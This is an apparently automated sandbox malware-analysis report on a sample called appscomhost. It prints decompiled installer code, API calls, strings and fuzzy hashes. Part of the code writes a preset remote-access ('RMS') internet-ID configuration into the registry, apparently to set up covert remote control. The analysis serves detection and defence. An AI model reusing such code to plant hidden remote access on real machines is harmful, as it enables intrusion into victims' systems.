GetClassInfoW.USER32 ref: 00403D34
GetClassInfoW.USER32 ref: 00403D41
RegisterClassW.USER32 ref: 00403D4A
DialogBoxParamW.USER32 ref: 00403D69

Strings

RichEd20, xrefs: 00403D0E
RichEdit, xrefs: 00403D3B
RichEdit20W, xrefs: 00403D2C, 00403D32
_Nb, xrefs: 00403C64, 00403CCC
Control Panel\Desktop\ResourceLocale, xrefs: 00403B14
5000, xrefs: 00403BA8, 00403BB1, 00403BBF, 00403C0E, 00403C14
.DEFAULT\Control Panel\International, xrefs: 00403B4C
RichEd32, xrefs: 00403D1C
.exe, xrefs: 00403BEE

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$5000$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1589725684
Opcode ID: b9ffbcfc304b685e0c1dde44560bc5a489523024dfd6dd7ace930f911de05090
Instruction ID: cda25de05f42fee30f8ffe055577c0dc55dd134467a9ddf8d71869e658b7d2dc
Opcode Fuzzy Hash: b9ffbcfc304b685e0c1dde44560bc5a489523024dfd6dd7ace930f911de05090
Instruction Fuzzy Hash: CF61A570144700AED320AF669E45F2B3A6CEB84B4AF00453FF945B62E2DB7D9D51CA2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403015, Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00403015(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v44;
				long _t49;
				void* _t52;
				void* _t56;
				intOrPtr* _t58;
				long _t59;
				long _t69;
				signed int _t76;
				intOrPtr _t79;
				long _t81;
				void* _t84;
				signed int _t86;
				void* _t88;
				long _t89;
				long _t92;
				void* _t93;

				_t81 = 0;
				_v12 = 0;
				_v8 = 0;
				 *0x47af10 = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x4e8000, 0x2000);
				_t88 = E00405F07(0x4e8000, 0x80000000, 3);
				_v16 = _t88;
				 *0x40a018 = _t88;
				if(_t88 == 0xffffffff) {
					return L"Error launching installer";
				}
				E00406411(0x4d8000, 0x4e8000);
				E00406411(0x4ec000, E00405D32(0x4d8000));
				_t49 = GetFileSize(_t88, 0);
				 *0x43c224 = _t49;
				_t92 = _t49;
				if(_t49 <= 0) {
					L23:
					E00402FB1(1);
					if( *0x47af18 == _t81) {
						goto L28;
					}
					if(_v8 == _t81) {
						L27:
						_t52 = GlobalAlloc(0x40, _v24); // executed
						_t93 = _t52;
						E0040347D( *0x47af18 + 0x1c);
						_push(_v24);
						_push(_t93);
						_push(_t81);
						_push(0xffffffff); // executed
						_t56 = E0040324C(); // executed
						if(_t56 == _v24) {
							 *0x47af14 = _t93;
							 *0x47af1c =  *_t93;
							if((_v44 & 0x00000001) != 0) {
								 *0x47af20 =  *0x47af20 + 1;
							}
							_t39 = _t93 + 0x44; // 0x44
							_t58 = _t39;
							_t84 = 8;
							do {
								_t58 = _t58 - 8;
								 *_t58 =  *_t58 + _t93;
								_t84 = _t84 - 1;
							} while (_t84 != 0);
							_t59 = SetFilePointer(_v16, _t81, _t81, 1); // executed
							 *(_t93 + 0x3c) = _t59;
							E00405EC2(0x47af40, _t93 + 4, 0x40);
							return 0;
						}
						goto L28;
					}
					E0040347D( *0x430218);
					if(E00403467( &_a4, 4) == 0 || _v12 != _a4) {
						goto L28;
					} else {
						goto L27;
					}
				} else {
					do {
						_t89 = _t92;
						asm("sbb eax, eax");
						_t69 = ( ~( *0x47af18) & 0x00007e00) + 0x200;
						if(_t92 >= _t69) {
							_t89 = _t69;
						}
						if(E00403467(0x428218, _t89) == 0) {
							E00402FB1(1);
							L28:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x47af18 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00402FB1(0);
							}
							goto L19;
						}
						E00405EC2( &_v44, 0x428218, 0x1c);
						_t76 = _v44;
						if((_t76 & 0xfffffff0) != 0) {
							goto L19;
						}
						0;
						if(_v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
							_a4 = _a4 | _t76;
							_t86 =  *0x430218; // 0x52f94b
							 *0x47afc0 =  *0x47afc0 | _a4 & 0x00000002;
							_t79 = _v20;
							 *0x47af18 = _t86;
							if(_t79 > _t92) {
								goto L28;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v8 = _v8 + 1;
								_t23 = _t79 - 4; // 0x40a2dc
								_t92 = _t23;
								if(_t89 > _t92) {
									_t89 = _t92;
								}
								goto L19;
							} else {
								break;
							}
						}
						L19:
						if(_t92 <  *0x43c224) {
							_v12 = E004068F3(_v12, 0x428218, _t89);
						}
						 *0x430218 =  *0x430218 + _t89;
						_t92 = _t92 - _t89;
					} while (_t92 != 0);
					_t81 = 0;
					goto L23;
				}
			}

0x0040301d
0x00403020
0x00403023
0x0040303d
0x00403042
0x00403055
0x0040305a
0x0040305d
0x00403063
0x00000000
0x00403065
0x00403076
0x00403087
0x0040308e
0x00403096
0x0040309b
0x0040309d
0x00403188
0x0040318a
0x00403196
0x00000000
0x00000000
0x0040319b
0x004031bf
0x004031c4
0x004031ca
0x004031d5
0x004031da
0x004031dd
0x004031de
0x004031df
0x004031e1
0x004031e9
0x00403200
0x00403208
0x0040320d
0x0040320f
0x0040320f
0x00403217
0x00403217
0x0040321a
0x0040321b
0x0040321b
0x0040321e
0x00403220
0x00403220
0x0040322a
0x00403230
0x0040323e
0x00000000
0x00403243
0x00000000
0x004031e9
0x004031a3
0x004031b5
0x00000000
0x00000000
0x00000000
0x00000000
0x004030a3
0x004030a8
0x004030ad
0x004030b1
0x004030b8
0x004030bf
0x004030c1
0x004030c1
0x004030cc
0x004031f4
0x004031eb
0x00000000
0x004031eb
0x004030d9
0x00403159
0x0040315d
0x00403162
0x00000000
0x00403159
0x004030e2
0x004030e7
0x004030ef
0x00000000
0x00000000
0x004030f7
0x00403101
0x00403115
0x0040311b
0x00403124
0x0040312a
0x0040312f
0x00403135
0x00000000
0x00000000
0x0040313f
0x00403147
0x0040314a
0x0040314a
0x0040314f
0x00403151
0x00403151
0x00000000
0x00000000
0x00000000
0x00000000
0x0040313f
0x00403163
0x00403169
0x00403175
0x00403175
0x00403178
0x0040317e
0x0040317e
0x00403186
0x00000000
0x00403186

APIs

GetTickCount.KERNEL32 ref: 00403026
GetModuleFileNameW.KERNEL32(00000000,004E8000,00002000,?,00000007,00000009,0000000B), ref: 00403042

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(004E8000,00403055,004E8000,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

GetFileSize.KERNEL32(00000000,00000000,004EC000,00000000,004D8000,004D8000,004E8000,004E8000,80000000,00000003,?,00000007,00000009,0000000B), ref: 0040308E

Strings

Error launching installer, xrefs: 00403065
soft, xrefs: 00403103
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004031EB
Inst, xrefs: 004030FA
Null, xrefs: 0040310C

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: af513c7a1090178a69be0a2596abfa586be8fb1fb029b938cc86d87da4f67720
Instruction ID: 724ccd3300d33fc802ebf45a9e541359328de6f7ea131e7df9ba0643fe8e73ca
Opcode Fuzzy Hash: af513c7a1090178a69be0a2596abfa586be8fb1fb029b938cc86d87da4f67720
Instruction Fuzzy Hash: 7051B171904214ABCB109FA5DD85B5E7EA8EB48356F20403BF914BA2D1C77C8F818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040324C, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0040324C(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				void* _t69;
				long _t70;
				intOrPtr _t75;
				long _t76;
				intOrPtr _t77;
				void* _t78;
				int _t88;
				intOrPtr _t92;
				intOrPtr _t95;
				long _t96;
				signed int _t97;
				int _t98;
				int _t99;
				intOrPtr _t100;
				void* _t101;
				void* _t102;

				_t97 = _a16;
				_t92 = _a12;
				_v12 = _t97;
				if(_t92 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t92;
				if(_t92 == 0) {
					_v16 = 0x434220;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E0040347D( *0x47af78 + _t62);
				}
				if(E00403467( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t92 != 0) {
							if(_a16 < _t97) {
								_t97 = _a16;
							}
							if(E00403467(_t92, _t97) != 0) {
								_v8 = _t97;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t92) {
							goto L44;
						}
						_t88 = _v12;
						while(1) {
							_t98 = _a16;
							if(_a16 >= _t88) {
								_t98 = _t88;
							}
							if(E00403467(0x430220, _t98) == 0) {
								goto L41;
							}
							_t69 = E00405FB9(_a8, 0x430220, _t98); // executed
							if(_t69 == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t98;
							_a16 = _a16 - _t98;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x41eb84 =  *0x41eb84 & 0x00000000;
					 *0x41eb80 =  *0x41eb80 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x41e668 = 8;
					 *0x428210 = 0x420208;
					 *0x42820c = 0x420208;
					 *0x428208 = 0x428208;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E00403467(0x430220, _t99) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t99;
						 *0x41e658 = 0x430220;
						 *0x41e65c = _t99;
						while(1) {
							_t95 = _v16;
							 *0x41e660 = _t95;
							 *0x41e664 = _v12;
							_t75 = E00406961(0x41e658);
							_v24 = _t75;
							if(_t75 < 0) {
								break;
							}
							_t100 =  *0x41e660; // 0x4130ad
							_t101 = _t100 - _t95;
							_t76 = GetTickCount();
							_t96 = _t76;
							if(( *0x47afd4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00405479(0,  &_v152);
								_v20 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t77 =  *0x41e660; // 0x4130ad
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_v16 = _t77;
									L23:
									if(_v24 != 1) {
										continue;
									}
									goto L44;
								}
								_t78 = E00405FB9(_a8, _v16, _t101); // executed
								if(_t78 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t101;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

0x00403257
0x0040325b
0x0040325e
0x00403263
0x00403265
0x00403265
0x0040326c
0x00403270
0x00403275
0x00403277
0x00403277
0x0040327e
0x00403283
0x0040328e
0x0040328e
0x004032a0
0x00403455
0x00403455
0x00000000
0x004032a6
0x004032aa
0x00403402
0x00403445
0x00403447
0x00403447
0x00403453
0x0040345a
0x0040345d
0x00000000
0x00000000
0x00000000
0x00000000
0x00403453
0x00403407
0x00000000
0x00000000
0x00403409
0x0040340c
0x0040340f
0x00403412
0x00403414
0x00403414
0x00403424
0x00000000
0x00000000
0x0040342b
0x00403432
0x004033fc
0x004033fc
0x00403457
0x00403457
0x00000000
0x00403457
0x00403434
0x00403437
0x0040343e
0x00000000
0x00000000
0x00000000
0x00403440
0x00000000
0x0040340c
0x004032b6
0x004032b8
0x004032bf
0x004032c6
0x004032c6
0x004032cd
0x004032d5
0x004032df
0x004032e4
0x004032ec
0x004032f6
0x004032f9
0x00000000
0x00000000
0x00000000
0x00000000
0x004032ff
0x004032ff
0x004032ff
0x00403307
0x00403309
0x00403309
0x0040331a
0x00000000
0x00000000
0x00403320
0x00403323
0x00403329
0x0040332f
0x0040332f
0x0040333a
0x00403340
0x00403345
0x0040334c
0x0040334f
0x00000000
0x00000000
0x00403355
0x0040335b
0x0040335d
0x00403366
0x00403368
0x00403399
0x0040339f
0x004033ab
0x004033b0
0x004033b0
0x004033b5
0x004033f0
0x00000000
0x00000000
0x00000000
0x004033b7
0x004033bb
0x004033d2
0x004033d7
0x004033da
0x004033dd
0x004033e0
0x004033e4
0x00000000
0x00000000
0x00000000
0x004033ea
0x004033c4
0x004033cb
0x00000000
0x00000000
0x004033cd
0x00000000
0x004033cd
0x004033b5
0x004033f8
0x00000000
0x004033f8
0x00000000
0x004032ff

APIs

GetTickCount.KERNEL32 ref: 004032B6
GetTickCount.KERNEL32 ref: 0040335D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403386
wsprintfW.USER32 ref: 00403399

Strings

BC, xrefs: 00403277
... %d%%, xrefs: 00403393
<?xml version="1.0" encoding="UTF-8"?><security_settings version="69110"><windows_security></windows_security><single_password_hash></single_password_hash><my_user_access_list><user_access_list><user_access><sid>{E1C6BC19-9238-4F57-B3F5-465584A9E1FE}</sid, xrefs: 004032D0

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: BC$... %d%%$<?xml version="1.0" encoding="UTF-8"?><security_settings version="69110"><windows_security></windows_security><single_password_hash></single_password_hash><my_user_access_list><user_access_list><user_access><sid>{E1C6BC19-9238-4F57-B3F5-465584A9E1FE}</sid
API String ID: 551687249-3373477896
Opcode ID: 6c0533a96d81094796d43b946f103495eba2af4c3149c140a02b603c3c9b79ef
Instruction ID: d0f6d034f0cfeba54158148ad09a3a98f7b29f140304d98b42ac65411bd2a33c
Opcode Fuzzy Hash: 6c0533a96d81094796d43b946f103495eba2af4c3149c140a02b603c3c9b79ef
Instruction Fuzzy Hash: C3518C71D00219DBDB11DFA5E944A9E7FB8AF04366F10817BEC14B62C1C7788A40CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 1000358F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E1000358F(void* __ecx, void* __edi, void* _a4, short* _a8, int _a12, int _a16, char* _a20, long _a24) {
				long _v8;
				char* _v12;
				intOrPtr _t24;
				long _t26;
				char* _t27;
				int _t35;
				void* _t40;
				void* _t41;

				_t40 = __edi;
				_t24 =  *0x10007000; // 0x0
				if(_t24 != 1) {
					if(_t24 != 0) {
						E100022B7();
						_t26 = 1;
					} else {
						_t26 = RegSetValueExW(_a4, _a8, _a12, _a16, _a20, _a24); // executed
					}
				} else {
					_t27 = E10002F8E(_a8);
					_t35 = _a16;
					_v12 = _t27;
					_v8 = 1;
					if(_t35 == 1 || _t35 == 2 || _t35 == 7) {
						_t47 = _a24;
						_push(_t40);
						_t41 = GlobalAlloc(0x40, _a24);
						if(_t41 != 0) {
							_v8 = RegSetValueExA(_a4, _v12, _a12, _t35, _t41, E10002347(_a20, _t47 >> 1, _t41, _t47));
							GlobalFree(_t41);
						}
					} else {
						_v8 = RegSetValueExA(_a4, _t27, _a12, _t35, _a20, _a24);
					}
					E10002335(_v12);
					_t26 = _v8;
				}
				return _t26;
			}

0x1000358f
0x10003594
0x1000359f
0x10003630
0x1000364c
0x10003651
0x10003632
0x10003644
0x10003644
0x100035a5
0x100035a9
0x100035ae
0x100035b4
0x100035b7
0x100035ba
0x100035df
0x100035e2
0x100035ec
0x100035f0
0x10003615
0x10003618
0x10003618
0x100035c6
0x100035da
0x100035da
0x10003622
0x10003627
0x1000362b
0x10003655

APIs

RegSetValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,?,?,?,10004574,00000000,InternetId,00000000,00000000), ref: 100035D4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,?,?,?,10004574,00000000,InternetId,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076), ref: 100035E6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000000,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 1000360E
GlobalFree.KERNEL32 ref: 10003618
RegSetValueExW.KERNELBASE(?,?,00000000,?,00000000,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,?,?,?,10004574,00000000,InternetId,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p), ref: 10003644

Strings

3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10003599
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 100035A5

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Value$Global$AllocFree
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p
API String ID: 2273869824-3777086264
Opcode ID: a445b501be8d8de309ca3c80ba5540f8b3ad5a8f85e0d323dc708c464a9c4908
Instruction ID: ae50ba5e7a2cc0507a585ab724dadc37df32a6046dc0e37f4cb27eab9507f8c4
Opcode Fuzzy Hash: a445b501be8d8de309ca3c80ba5540f8b3ad5a8f85e0d323dc708c464a9c4908
Instruction Fuzzy Hash: 0921F87650011AFFEF129F94DC4599F7FBAEF486D0B208014FA0592228DB329D61EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10004398, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 184
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E10004398(void* __ecx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				short* _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				char* _t41;
				void* _t46;
				signed int _t48;
				signed int _t50;
				intOrPtr* _t55;
				short* _t57;
				short* _t61;
				short _t65;
				void* _t86;
				void* _t94;
				void* _t107;

				_t94 = __eflags;
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_v20 = _v20 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 | 0xffffffff;
				_v16 = 0x10027780;
				E10002B98(0x10007500, 0x400);
				E10002B98(L"InternetId", 0x400);
				E10002B98(0x10027780, 0x400);
				E10002B98(0x10007760, 0x400);
				E100023B4(0x10007500, _t94, 0x10007500,  &_v20, 0, 0x10007500);
				_t86 = E10002625(0x10007760);
				if(_t86 == 0xffffffff) {
					L29:
					_t41 = L"-1";
				} else {
					_t72 =  *( *((intOrPtr*)( *0x100577a0)) + 0x30) | 0x000f003f;
					_t46 = E10003393(_v20, 0x10007500, 0, 0, 0,  *( *((intOrPtr*)( *0x100577a0)) + 0x30) | 0x000f003f, 0,  &_v8,  &_v28); // executed
					if(_t46 != 0) {
						goto L29;
					} else {
						if(_t86 == 3) {
							L26:
							_t48 = E1000358F(_t72, _t86, _v8, L"InternetId", 0, _t86, 0x100477a0, E10001E51(0x10027780, 0x100477a0, 0x10000)); // executed
							_t65 = 0;
							__eflags = 0;
							goto L27;
						} else {
							_t65 = 0;
							if(_t86 == 0 || _t86 == 6 || _t86 == 8 || _t86 == 9 || _t86 == 0xa || _t86 == 0xb) {
								goto L26;
							} else {
								if(_t86 == 4 || _t86 == 5) {
									_t50 = E10001A83(0x10027780, _t65);
									__eflags = _t86 - 5;
									_pop(_t72);
									_v24 = _t50;
									if(_t86 == 5) {
										_t72 = (_t50 & 0x00ff0000 | _t50 >> 0x00000010) >> 0x00000008 | (_t50 & 0x0000ff00 | _t50 << 0x00000010) << 0x00000008;
										__eflags = _t72;
										_v24 = _t72;
									}
									_push(4);
									_push( &_v24);
									_push(_t86);
									goto L25;
								} else {
									if(_t86 != 7) {
										__eflags = _t86 - 2;
										if(_t86 == 2) {
											L21:
											_t48 = E1000358F(_t72, _t86, _v8, L"InternetId", _t65, _t86, 0x10027780, E1000188C(0x10027780) + _t53 + 2);
											goto L27;
										} else {
											__eflags = _t86 - 1;
											if(_t86 == 1) {
												goto L21;
											}
										}
									} else {
										_t107 =  *0x10027780 - _t65; // 0x33
										if(_t107 == 0) {
											_t55 = _v16;
										} else {
											do {
												_t61 = _v16;
												if( *_t61 == 0xa) {
													 *_t61 = _t65;
												}
												_t55 = _t61 + 2;
												_v16 = _t55;
											} while ( *_t55 != _t65);
										}
										_t57 = _t55 + 2;
										 *_t57 = _t65;
										_push((_t57 - 0x10027780 >> 1) + (_t57 - 0x10027780 >> 1) + 2);
										_push(0x10027780);
										_push(7);
										L25:
										_push(_t65);
										_push(L"InternetId");
										_push(_v8);
										_t48 = E1000358F(_t72, _t86); // executed
										L27:
										_v12 = _t48;
									}
								}
							}
						}
						RegCloseKey(_v8);
						_t41 = "0";
						if(_v12 != _t65) {
							goto L29;
						}
					}
				}
				return E10002C7B(_t41);
			}

0x10004398
0x100043ad
0x100043b2
0x100043b6
0x100043ba
0x100043cf
0x100043d2
0x100043dd
0x100043e4
0x100043f0
0x100043fd
0x1000440b
0x10004411
0x1000458f
0x1000458f
0x10004417
0x1000442d
0x1000443b
0x10004445
0x00000000
0x1000444b
0x1000444e
0x10004551
0x1000456f
0x10004577
0x10004577
0x00000000
0x10004454
0x10004454
0x10004458
0x00000000
0x1000448b
0x1000448e
0x10004501
0x10004506
0x1000450a
0x1000450b
0x1000450e
0x10004532
0x10004532
0x10004534
0x10004534
0x10004537
0x1000453c
0x1000453d
0x00000000
0x10004495
0x10004498
0x100044d1
0x100044d4
0x100044df
0x100044f5
0x00000000
0x100044d6
0x100044d6
0x100044d9
0x00000000
0x00000000
0x100044d9
0x1000449a
0x1000449a
0x100044a1
0x100044bb
0x100044a3
0x100044a3
0x100044a3
0x100044aa
0x100044ac
0x100044ac
0x100044b0
0x100044b4
0x100044b4
0x100044b9
0x100044bf
0x100044c0
0x100044cb
0x100044cc
0x100044cd
0x1000453e
0x1000453e
0x1000453f
0x10004544
0x10004547
0x10004579
0x10004579
0x10004579
0x10004498
0x1000448e
0x10004458
0x1000457f
0x10004588
0x1000458d
0x00000000
0x00000000
0x1000458d
0x10004445
0x1000459f

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

